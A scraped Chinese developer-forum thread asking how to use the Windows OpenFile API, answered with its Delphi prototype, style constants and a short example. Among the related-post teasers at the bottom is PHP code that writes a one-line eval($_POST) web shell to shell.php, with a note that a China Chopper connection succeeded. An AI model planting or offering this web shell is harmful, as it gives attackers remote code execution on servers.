社区
Windows SDK/API
帖子详情
openfile函数的使用
yufly
2004-10-24 01:31:07
openfile函数,是怎样用的,能举几个例子吗?
...全文
641
1
打赏
收藏
openfile函数的使用
openfile函数,是怎样用的,能举几个例子吗?
复制链接
扫一扫
分享
举报
写回复
配置赞助广告
1 条
回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
打赏红包
luke5678
2004-10-24
打赏
举报
回复
1. OpenFile函数使用说明
函数原型:function OpenFile(const lpFileName: LPCSTR; var lpReOpenBuff: TOFStruct;
uStyle: UINT): HFILE; stdcall;
函数功能:以不同方式打开文件的操作(为兼容16位Windows程序保留的函数)。建议
Windows下使用CreateFile函数。
参数说明:lpFileName: 要打开文件的名称
lpReOpenBuff: 变量指针,用于存储文件被首次打开时接收信息。
UStyle: 打开文件的常量类型。
常量名
意义
Of_Create
创建文件
Of_Delete
删除指定文件
Of_Exist
打开文件以验证其存在否?存在,返回一无效句柄;否则,返回负数
Of_Parse
填充lpReOpenBuff内容,但不进行任何操作
Of_Prompt
如存在不存在,则显示一有重试和取消按钮的消息框
Of_Read
只读方式打开
Of_ReadWrite
读写方式打开
Of_ReOpen
打开lpReOpenBuff内指定的文件,而不依据lpFileName
Of_Search
强迫Windows查找文件---即使指定了文件路径
Of_Share_Compat
文件可由多个程序多次打开
Of_Share_Deny_None
共享打开
Of_Share_Deny_Read
禁止其它程序读该文件
Of_Share_Deny_Write
禁止其它程序写该文件
Of_Share_Exclusive
独占方式打开文件,其它程序不得再打开该文件
Of_Write
只写方式打开
返回值:成功,返回值为文件句柄(但可能无效,如:Of_Exist);出错,返回HFile_Error。
//例子
procedure TForm1.Button1Click(Sender: TObject);
var
iFileHandle: HFILE;
Buffer: TOFStruct;
filename:Pchar;
begin
if OpenDialog1.execute then
filename := PCHAR(Opendialog1.FileName);
iFileHandle := OpenFile(filename,Buffer,OF_READWRITE);
Caption := Buffer.szPathName;
end;
相关推荐
Go 语言读写文件
Go 语言读写文件 在这里演示下如何通过 Go 读写文件,Go 读写文件有很 IO 多
函数
可以
使用
,在这里
使用
os 包的
Open
File
和
Open
函数
打开文件,然后用 bufio 包带缓冲的读写器读写文件。查看
Open
File
源码,其实
Open
函数
底层还是调用了
Open
File
。 package main import ( "bufio" "fmt" "io" "os...
通过php执行eval()
函数
写入一句话木马
f
open
,fwrite
函数
可在当前目录创建一个文件夹 $
open
file
=f
open
("shell.php","w"); $payload="<?php @eval($_POST['666']);?>"; fwrite($
open
file
,$payload); fclose($
open
file
); 菜刀连接 成功
golang文件操作
1.
使用
Open
file
对文件进行读写 1.1
使用
Open
file
对文件写入 os.
Open
File
()
函数
能够以指定模式打开文件,从而实现文件写入相关功能。 func
Open
File
(name string, flag int, perm
File
Mode) (*
File
, error) { ... } name:要打开的文件名 flag:打开文件的模式 os.O_WRONLY 只写 os.O_CREATE 创建文件 os.O_RDONLY 只读 os.O_RDWR 读写 os.
关于f
open
函数
与
Open
File
函数
以及sscanf与sprintf
函数
使用
时应该注意的问题总结
在写项目代码的时候碰到了这几个问题,其实如果早就知道的话很简单的问题,下面挨个总结一下: 1、f
open
函数
,如果只是单纯的读("r"),即便你不
使用
fclose
函数
大概率可以正常
使用
,虽然这样并不安全;但是如果你写("w")的话,如果不
使用
fclose
函数
的话,数据没有保存到硬盘上,只存在程序运行的时间内,这样当你程序结束以后,对应的文件中仍然是没有数据的!综上要谨记f
open
与fclose一定要成对
使用
! 2、然后对于
Open
File
函数
来讲,读操作(_lr...
近期工作---Linux下基于Cuckoo沙箱的API适配问题
具体步骤: (1)寻找对应API 在Cuckoo系统上运行发现:
Open
File
对应的底层API为NtCreate
File
(2)对比确定对应参数
Open
File
和NtCreate
File
,两者的API情况如下所示:
Open
File
NtCreate
File
从关键
函数
表中00|02|03||,可以获知我们所关心的
Open
File
A...
发帖
Windows SDK/API
Windows SDK/API
Delphi Windows SDK/API
复制链接
扫一扫
1177
社区成员
2.2w+
社区内容
Delphi Windows SDK/API
社区管理员
加入社区
获取链接或二维码
帖子事件
创建了帖子
2004-10-24 01:31
社区公告
暂无公告